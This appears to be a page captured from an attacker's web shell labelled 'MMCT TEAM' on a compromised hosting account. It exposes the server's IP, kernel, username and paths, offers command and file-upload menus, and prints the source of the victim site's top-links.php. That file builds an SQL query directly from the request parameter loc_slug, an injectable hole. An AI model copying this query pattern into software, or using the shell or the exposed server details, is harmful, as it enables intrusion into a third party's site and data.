MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.12.152.102
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/fastelevatorandescalator.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/fastelevatorandescalator.com/top-links.php
<?php 
include_once "admin/config.php";
    // logo  
    $sql1 = "SELECT * FROM `tbl_home` WHERE id=1";
    $run1 = mysqli_query($db,$sql1) or die("Query Not run");
    $data1 = mysqli_fetch_assoc($run1);
    // seo 
    $sqll = "SELECT * FROM `tbl_seo` WHERE se_id=1";
    $runl = mysqli_query($db,$sqll) or die("Query Not run");
    $datal = mysqli_fetch_assoc($runl);
    
    // contact 
    $sqlc = "SELECT * FROM `tbl_contact` WHERE c_id=1";
    $runc = mysqli_query($db,$sqlc) or die("Query Not run");
    $datac = mysqli_fetch_assoc($runc);
    
    // footer
    $sqlf = "SELECT * FROM `tbl_footer` WHERE f_id=1";
    $runf = mysqli_query($db,$sqlf) or die("Query Not run");
    $dataf = mysqli_fetch_assoc($runf);
    $wspath=$datal['site_path'];
    
    $loc_slug = $_REQUEST['loc_slug'] ?? null;

    if ($loc_slug !== null) {
        $loc = "SELECT * FROM `tbl_location` WHERE loc_slug='$loc_slug'";
        $runloc = mysqli_query($db, $loc) or die("Query Not run");
        $dataloc = mysqli_fetch_assoc($runloc);
        $location = $dataloc["loc_name"];
    } else {
        $sqldef = "SELECT * FROM `login_tbl` WHERE id=1";
        $rundef = mysqli_query($db, $sqldef) or die("Query Not run");
        $datadef = mysqli_fetch_assoc($rundef);
        $location = $datadef['default_location'];
    }
?>
    <?php echo $datal["index_follow"];?>
    <meta name="google-site-verification" content="<?php echo $datal["site_verification"]; ?>" />
    <?php echo $datal["google_analytic"]; ?>
<!-- Favicon -->
 <link rel="shortcut icon" href="<?php echo $wspath?><?php echo $datal["favicon"]; ?>" />
 
<meta name="theme-color" content="#ffffff">
<link href="<?php echo $wspath?>plugins/revolution/css/settings.css" rel="stylesheet">
<link href="<?php echo $wspath?>plugins/revolution/css/layers.css" rel="stylesheet">
<link href="<?php echo $wspath?>plugins/revolution/css/navigation.css" rel="stylesheet">
<link rel="stylesheet" href="<?php echo $wspath?>css/style.css">
<link rel="stylesheet" href="<?php echo $wspath?>css/responsive.css">
<link rel="stylesheet" href="<?php echo $wspath?>css/custom.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" integrity="sha512-DTOQO9RWCH3ppGqcWaEA1BIZOC6xxalwEsw9c2QQeAIftl+Vegovlnee1c9QX4TctnWMn13TZye+giMm8e2LwA==" crossorigin="anonymous" referrerpolicy="no-referrer" />

MMCT - 2023